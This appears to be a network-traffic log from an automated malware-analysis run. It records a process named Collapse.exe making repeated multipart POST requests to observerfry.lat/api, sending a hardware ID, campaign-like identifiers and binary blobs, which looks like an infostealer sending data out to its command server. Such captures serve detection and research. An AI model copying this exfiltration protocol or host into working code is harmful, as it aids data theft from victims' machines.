2024-12-24 01:17:09 UTC	1369	IN	Data Raw: 76 6d 79 4d 6a 32 43 64 5a 61 4a 53 77 2b 73 73 6a 53 30 62 4d 75 55 66 75 6f 55 49 59 35 65 46 75 71 2b 55 6b 61 49 73 75 49 4f 67 4b 74 48 4f 52 4a 5a 2f 70 78 6a 51 6f 54 6e 45 4c 42 74 78 76 6c 6e 77 78 30 78 6e 67 38 7a 75 34 72 53 59 72 69 32 38 67 4c 63 72 6c 49 45 50 6b 48 57 6f 55 6f 53 7a 4a 64 6f 74 43 44 79 6b 48 37 65 46 54 44 6a 62 68 71 53 6e 6d 35 47 76 4a 4c 69 50 72 43 7a 52 33 55 65 59 64 4b 51 61 32 61 6f 7a 79 43 63 51 65 62 35 4e 6f 6f 6f 49 62 70 66 4d 2b 4f 4b 53 6a 65 56 35 2f 4b 61 78 4c 38 54 4a 54 4e 35 73 35 67 75 63 6f 6a 6d 4e 63 6c 64 79 73 31 4f 37 6a 67 64 72 6e 34 69 32 72 35 36 62 71 79 69 77 69 36 6f 72 78 73 4a 4b 6c 6e 6d 68 46 39 43 6f 4e 74 38 70 46 6a 4c 7a 48 37 65 52 54 44 6a 62 71 34 57 56 74 74 57 36 62 36 58 Data Ascii: vmyMj2CdZaJSw+ssjS0bMuUfuoUIY5eFuq+UkaIsuIOgKtHORJZ/pxjQoTnELBtxvlnwx0xng8zu4rSYri28gLcrlIEPkHWoUoSzJdotCDykH7eFTDjbhqSnm5GvJLiPrCzR3UeYdKQa2aozyCcQeb5NoooIbpfM+OKSjeV5/KaxL8TJTN5s5gucojmNcldys1O7jgdrn4i2r56bqyiwi6orxsJKlnmhF9CoNt8pFjLzH7eRTDjbq4WVttW6b6X
2024-12-24 01:17:09 UTC	1369	IN	Data Raw: 4a 63 50 73 6e 43 6e 47 5a 79 36 65 39 52 71 45 48 37 39 42 2f 43 4f 42 47 69 56 6a 37 43 70 6d 5a 6d 6b 4b 4c 71 47 72 69 76 62 79 45 61 5a 63 36 34 41 32 36 67 38 7a 53 45 65 65 4c 6c 65 75 38 6c 43 49 4a 79 55 39 76 72 56 70 36 49 33 72 49 44 6d 4d 35 72 57 44 35 6c 2f 36 45 71 63 71 43 66 4d 4c 77 56 32 73 6c 53 69 67 67 70 67 6e 70 36 78 72 70 2b 61 70 69 6d 78 67 4b 34 2b 31 4d 4a 50 6a 47 47 75 47 64 4c 6c 65 34 30 74 44 7a 4c 6c 48 34 47 65 42 79 43 45 77 71 2f 69 6b 70 6e 6c 65 66 79 41 72 43 48 61 33 55 75 59 65 4b 73 63 31 4b 41 39 79 53 41 61 66 62 5a 56 75 59 45 4d 62 35 36 45 76 61 53 62 6c 4b 4d 74 73 63 50 6f 62 4e 50 58 44 38 59 7a 6a 77 6a 52 6f 79 4c 63 48 78 42 79 37 42 2b 76 78 78 55 67 6e 49 44 32 2b 74 57 59 71 53 75 78 68 71 49 6b Data Ascii: JcPsnCnGZy6e9RqEH79B/COBGiVj7CpmZmkKLqGrivbyEaZc64A26g8zSEeeLleu8lCIJyU9vrVp6I3rIDmM5rWD5l/6EqcqCfMLwV2slSiggpgnp6xrp+apimxgK4+1MJPjGGuGdLle40tDzLlH4GeByCEwq/ikpnlefyArCHa3UuYeKsc1KA9ySAafbZVuYEMb56EvaSblKMtscPobNPXD8YzjwjRoyLcHxBy7B+vxxUgnID2+tWYqSuxhqIk
2024-12-24 01:17:09 UTC	1369	IN	Data Raw: 42 71 36 42 58 51 35 57 32 4e 4a 42 70 30 76 46 36 34 67 51 78 6d 6b 59 69 31 71 35 61 53 72 43 65 33 67 4b 77 6a 30 38 6c 4c 6e 6e 69 76 48 4e 71 67 50 73 52 71 57 54 4b 36 52 2f 44 52 54 45 61 34 6e 71 53 51 6d 35 61 2b 59 61 50 4e 76 32 7a 54 77 77 2f 47 4d 36 4d 61 30 37 63 77 78 43 49 54 65 37 31 62 75 6f 51 4c 59 4a 36 42 73 36 61 62 6b 61 49 68 73 49 79 68 4a 4e 76 4c 54 35 45 7a 35 6c 4c 62 76 58 57 56 61 6a 64 35 71 33 36 2b 67 68 34 67 68 4d 4b 76 34 70 4b 5a 35 58 6e 38 6a 61 38 74 33 4d 46 44 6c 6e 65 36 45 74 65 73 4f 73 77 6c 46 33 47 38 56 62 69 62 43 6d 43 51 68 4c 47 71 6b 5a 75 33 49 4c 50 44 36 47 7a 54 31 77 2f 47 4d 35 6b 45 32 36 49 36 6a 77 4d 51 61 62 78 56 73 34 49 41 49 49 54 43 72 2b 4b 53 6d 65 56 35 2f 49 36 71 49 64 44 64 51 Data Ascii: Bq6BXQ5W2NJBp0vF64gQxmkYi1q5aSrCe3gKwj08lLnnivHNqgPsRqWTK6R/DRTEa4nqSQm5a+YaPNv2zTww/GM6Ma07cwxCITe71buoQLYJ6Bs6abkaIhsIyhJNvLT5Ez5lLbvXWVajd5q36+gh4ghMKv4pKZ5Xn8ja8t3MFDlne6EtesOswlF3G8VbibCmCQhLGqkZu3ILPD6GzT1w/GM5kE26I6jwMQabxVs4IAIITCr+KSmeV5/I6qIdDdQ
2024-12-24 01:17:09 UTC	1369	IN	Data Raw: 53 68 4f 55 2b 77 79 38 57 66 72 64 59 76 70 73 4e 61 70 65 4e 73 61 57 65 68 36 34 7a 74 34 75 6c 49 74 7a 47 54 35 42 7a 71 52 2f 63 35 58 75 4e 4c 51 38 79 35 52 2b 56 71 68 74 32 6b 63 36 56 74 59 4f 66 6f 69 32 71 69 4b 63 76 77 73 4a 66 33 6a 33 6f 41 39 75 30 64 5a 55 38 42 32 57 36 51 50 36 51 54 47 65 58 7a 4f 37 69 6e 70 71 72 4c 4c 65 48 72 79 6e 63 7a 45 71 62 65 61 51 65 33 61 30 38 78 79 38 53 64 4c 64 63 76 6f 59 4e 62 4a 2b 46 75 4b 76 56 32 2b 55 6d 70 4d 50 2b 62 4f 4c 66 53 49 5a 2b 75 46 44 75 70 69 54 63 50 78 70 69 75 78 32 66 69 67 42 6a 6e 6f 75 6d 34 6f 72 62 76 47 47 37 6a 2b 5a 30 6c 4d 39 4c 6b 6e 43 76 48 4e 4f 6f 4f 73 6f 68 47 48 69 7a 54 62 2b 4d 42 47 79 54 67 61 53 6f 6e 34 65 73 4b 4c 47 4e 72 6a 37 58 6a 77 48 65 64 4c Data Ascii: ShOU+wy8WfrdYvpsNapeNsaWeh64zt4ulItzGT5BzqR/c5XuNLQ8y5R+Vqht2kc6VtYOfoi2qiKcvwsJf3j3oA9u0dZU8B2W6QP6QTGeXzO7inpqrLLeHrynczEqbeaQe3a08xy8SdLdcvoYNbJ+FuKvV2+UmpMP+bOLfSIZ+uFDupiTcPxpiux2figBjnoum4orbvGG7j+Z0lM9LknCvHNOoOsohGHizTb+MBGyTgaSon4esKLGNrj7XjwHedL
2024-12-24 01:17:09 UTC	1369	IN	Data Raw: 4e 73 4e 6f 4a 6d 53 77 54 37 4f 4d 43 31 36 6c 67 72 47 32 6b 70 75 6a 49 66 7a 4e 35 69 4f 55 6c 33 62 65 4f 2b 67 74 6b 75 55 74 6a 58 4a 58 52 37 35 52 76 6f 34 61 63 64 61 76 6f 62 53 66 6a 75 63 48 75 35 4b 76 4f 74 6e 64 44 39 41 7a 72 6c 4b 45 39 58 75 4e 4c 67 59 79 35 51 2f 69 30 6c 6b 7a 7a 4e 7a 6b 76 64 75 4d 35 54 66 38 32 2f 52 69 6c 4e 30 50 78 6a 50 76 45 63 36 33 4d 38 34 38 46 44 57 44 59 5a 43 43 47 6d 47 57 68 37 71 63 71 34 43 6d 4c 37 4b 45 73 44 32 55 67 51 2b 52 4d 2f 41 72 6e 4f 31 31 38 6d 52 58 61 76 30 48 38 4c 77 50 62 70 57 4c 6f 4c 50 59 74 61 34 33 76 59 36 74 49 4a 62 4f 51 6f 35 30 36 46 79 63 6f 33 57 56 65 6c 6b 79 75 55 37 77 30 56 77 79 77 4e 6e 6c 39 63 58 48 75 6d 2b 6c 77 37 42 73 6a 4a 30 42 33 6d 48 6f 53 70 7a Data Ascii: NsNoJmSwT7OMC16lgrG2kpujIfzN5iOUl3beO+gtkuUtjXJXR75Rvo4acdavobSfjucHu5KvOtndD9AzrlKE9XuNLgYy5Q/i0lkzzNzkvduM5Tf82/RilN0PxjPvEc63M848FDWDYZCCGmGWh7qcq4CmL7KEsD2UgQ+RM/ArnO118mRXav0H8LwPbpWLoLPYta43vY6tIJbOQo506Fyco3WVelkyuU7w0VwywNnl9cXHum+lw7BsjJ0B3mHoSpz
2024-12-24 01:17:09 UTC	1369	IN	Data Raw: 79 4a 78 72 46 79 77 67 6b 77 75 32 34 72 32 2b 73 66 62 35 53 57 74 77 2f 35 38 68 70 51 61 7a 53 54 34 51 4d 50 72 4c 49 30 38 56 79 72 76 45 66 43 62 54 44 6a 62 79 37 57 77 68 35 4f 6d 4e 37 2f 45 6d 42 4c 79 7a 45 69 59 63 4b 59 46 7a 65 63 61 7a 69 45 62 66 72 70 4a 6a 72 63 5a 59 35 57 43 73 62 53 45 31 65 74 68 73 38 50 2b 46 5a 54 65 52 5a 6b 2f 34 46 37 4e 74 6a 76 47 50 42 41 79 67 68 48 77 6b 55 77 34 32 37 6d 31 72 4a 75 53 73 7a 44 78 70 61 55 72 30 73 78 42 69 57 4c 6f 58 4a 79 6a 64 5a 56 34 57 54 4b 35 54 76 44 52 58 44 4c 41 32 65 58 31 78 63 65 36 62 36 58 44 73 47 79 4d 6e 41 48 65 59 65 68 4b 6e 4f 49 37 77 43 73 55 66 4c 35 4e 6f 6f 38 50 64 70 6a 4c 69 4a 79 77 6d 4b 67 6b 73 6f 53 59 45 76 58 46 58 35 4e 38 72 79 7a 69 6b 69 54 4b Data Ascii: yJxrFywgkwu24r2+sfb5SWtw/58hpQazST4QMPrLI08VyrvEfCbTDjby7Wwh5OmN7/EmBLyzEiYcKYFzecaziEbfrpJjrcZY5WCsbSE1eths8P+FZTeRZk/4F7NtjvGPBAyghHwkUw427m1rJuSszDxpaUr0sxBiWLoXJyjdZV4WTK5TvDRXDLA2eX1xce6b6XDsGyMnAHeYehKnOI7wCsUfL5Noo8PdpjLiJywmKgksoSYEvXFX5N8ryzikiTK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49701	172.67.199.72	443	5924	C:\Users\user\Desktop\Collapse.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 01:17:11 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SXXY4QL4J5NLF0G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12828 Host: observerfry.lat
2024-12-24 01:17:11 UTC	12828	OUT	Data Raw: 2d 2d 53 58 58 59 34 51 4c 34 4a 35 4e 4c 46 30 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 41 46 35 41 37 45 36 42 43 42 41 36 34 38 39 36 31 46 38 32 38 31 30 36 35 36 46 39 34 35 0d 0a 2d 2d 53 58 58 59 34 51 4c 34 4a 35 4e 4c 46 30 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 58 58 59 34 51 4c 34 4a 35 4e 4c 46 30 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 64 69 73 74 65 7a 0d 0a 2d 2d 53 58 58 Data Ascii: --SXXY4QL4J5NLF0GContent-Disposition: form-data; name="hwid"FEAF5A7E6BCBA648961F82810656F945--SXXY4QL4J5NLF0GContent-Disposition: form-data; name="pid"2--SXXY4QL4J5NLF0GContent-Disposition: form-data; name="lid"BVnUqo--@distez--SXX
2024-12-24 01:17:12 UTC	1130	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 01:17:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bklimensjftvi9dthesvk9uh09; expires=Fri, 18 Apr 2025 19:03:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c%2BN5bsNIUGJweLEyjbDDB0vO4oUEdOc8lOoYP%2F9aZ9iuSs2ZIEoehfTDC3ycYZjHucIB9iEXlB%2FhdzvHbqA7haB7EigihzBq5IZfNr3uPsKKno45w9%2FN6q89BksAiyrCxSI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6cc0143ca15e70-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1655&min_rtt=1633&rtt_var=656&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2835&recv_bytes=13764&delivery_rate=1613259&cwnd=228&unsent_bytes=0&cid=a5ebafc1aa704323&ts=1217&x=0"
2024-12-24 01:17:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 01:17:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49703	172.67.199.72	443	5924	C:\Users\user\Desktop\Collapse.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 01:17:14 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8JXQ8I4DTVH3RZSS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15066 Host: observerfry.lat
2024-12-24 01:17:14 UTC	15066	OUT	Data Raw: 2d 2d 38 4a 58 51 38 49 34 44 54 56 48 33 52 5a 53 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 41 46 35 41 37 45 36 42 43 42 41 36 34 38 39 36 31 46 38 32 38 31 30 36 35 36 46 39 34 35 0d 0a 2d 2d 38 4a 58 51 38 49 34 44 54 56 48 33 52 5a 53 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 4a 58 51 38 49 34 44 54 56 48 33 52 5a 53 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 64 69 73 74 65 7a 0d 0a 2d 2d Data Ascii: --8JXQ8I4DTVH3RZSSContent-Disposition: form-data; name="hwid"FEAF5A7E6BCBA648961F82810656F945--8JXQ8I4DTVH3RZSSContent-Disposition: form-data; name="pid"2--8JXQ8I4DTVH3RZSSContent-Disposition: form-data; name="lid"BVnUqo--@distez--
2024-12-24 01:17:14 UTC	1136	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 01:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i73eijsccjqbvscd1b179el6ae; expires=Fri, 18 Apr 2025 19:03:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fFc2z2wG9Mmi6t2yvd0dKrHL9tk7wji0wNG8mAPiZIuuGE%2FJLoELSXYMBdHYbhJ0cIBFvXZg1DSS%2BxwI2H%2FGWNI6rLkDlNaz45kX8%2B48UePCRJ8fTqawx%2F%2BF8IrvrqVRQsw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6cc023fa1a2395-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=30226&min_rtt=1872&rtt_var=17615&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2836&recv_bytes=16003&delivery_rate=1559829&cwnd=139&unsent_bytes=0&cid=9f149058e7e77300&ts=835&x=0"
2024-12-24 01:17:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 01:17:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49709	172.67.199.72	443	5924	C:\Users\user\Desktop\Collapse.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 01:17:16 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=B8QW7W633XHP9M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20379 Host: observerfry.lat
2024-12-24 01:17:16 UTC	15331	OUT	Data Raw: 2d 2d 42 38 51 57 37 57 36 33 33 58 48 50 39 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 41 46 35 41 37 45 36 42 43 42 41 36 34 38 39 36 31 46 38 32 38 31 30 36 35 36 46 39 34 35 0d 0a 2d 2d 42 38 51 57 37 57 36 33 33 58 48 50 39 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 38 51 57 37 57 36 33 33 58 48 50 39 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 64 69 73 74 65 7a 0d 0a 2d 2d 42 38 51 57 37 57 Data Ascii: --B8QW7W633XHP9MContent-Disposition: form-data; name="hwid"FEAF5A7E6BCBA648961F82810656F945--B8QW7W633XHP9MContent-Disposition: form-data; name="pid"3--B8QW7W633XHP9MContent-Disposition: form-data; name="lid"BVnUqo--@distez--B8QW7W
2024-12-24 01:17:16 UTC	5048	OUT	Data Raw: d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 00 00 00 Data Ascii: 6K~`iO\_,mi`m?ls}Qm/X2x)
2024-12-24 01:17:17 UTC	1137	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 01:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rvf3m1p61tuufdq3u74sml183l; expires=Fri, 18 Apr 2025 19:03:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C%2FqK3HKYJ7jljN%2BoirJrkkdLaRI5z4lN%2Bp9UBvh9POal9z7hzOVF%2FtYfGEjoyK568%2FBSBae3Mo%2BeVfTTv%2BD0i1u%2Buv6R4TKx887VqmbMHKPBRQ7c9vY3dB6x7QBYgCRzTNg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6cc0325c0743e3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1728&min_rtt=1707&rtt_var=655&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21336&delivery_rate=1710603&cwnd=229&unsent_bytes=0&cid=8b8e933bfccff8d2&ts=947&x=0"
2024-12-24 01:17:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 01:17:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49715	172.67.199.72	443	5924	C:\Users\user\Desktop\Collapse.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 01:17:19 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TOXTP5F9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1162 Host: observerfry.lat
2024-12-24 01:17:19 UTC	1162	OUT	Data Raw: 2d 2d 54 4f 58 54 50 35 46 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 41 46 35 41 37 45 36 42 43 42 41 36 34 38 39 36 31 46 38 32 38 31 30 36 35 36 46 39 34 35 0d 0a 2d 2d 54 4f 58 54 50 35 46 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 54 4f 58 54 50 35 46 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 64 69 73 74 65 7a 0d 0a 2d 2d 54 4f 58 54 50 35 46 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 Data Ascii: --TOXTP5F9Content-Disposition: form-data; name="hwid"FEAF5A7E6BCBA648961F82810656F945--TOXTP5F9Content-Disposition: form-data; name="pid"1--TOXTP5F9Content-Disposition: form-data; name="lid"BVnUqo--@distez--TOXTP5F9Content-Dispos
2024-12-24 01:17:20 UTC	1124	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 01:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2105rrqsmjffkqbeue15iff25s; expires=Fri, 18 Apr 2025 19:03:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2dkw1a0VbNHZlHrmGn31Tr2KvmhvBPrJuPAvuUgrQEoJpatHQCvmeth0RMtJnk1HHiquHZeE3paF1aaDEdG25Lr%2BcVaH29hZEgHi71gwMLVcj04Dl2kY%2FGaKp%2Bb5evpro50%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6cc047af46f78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1500&min_rtt=1463&rtt_var=624&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2068&delivery_rate=1653454&cwnd=137&unsent_bytes=0&cid=0b40f741dcd21b3e&ts=770&x=0"
2024-12-24 01:17:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 01:17:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49726	172.67.199.72	443	5924	C:\Users\user\Desktop\Collapse.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 01:17:22 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YIZOIU1F9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552485 Host: observerfry.lat
2024-12-24 01:17:22 UTC	15331	OUT	Data Raw: 2d 2d 59 49 5a 4f 49 55 31 46 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 41 46 35 41 37 45 36 42 43 42 41 36 34 38 39 36 31 46 38 32 38 31 30 36 35 36 46 39 34 35 0d 0a 2d 2d 59 49 5a 4f 49 55 31 46 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 49 5a 4f 49 55 31 46 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 64 69 73 74 65 7a 0d 0a 2d 2d 59 49 5a 4f 49 55 31 46 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --YIZOIU1F9Content-Disposition: form-data; name="hwid"FEAF5A7E6BCBA648961F82810656F945--YIZOIU1F9Content-Disposition: form-data; name="pid"1--YIZOIU1F9Content-Disposition: form-data; name="lid"BVnUqo--@distez--YIZOIU1F9Content-Di
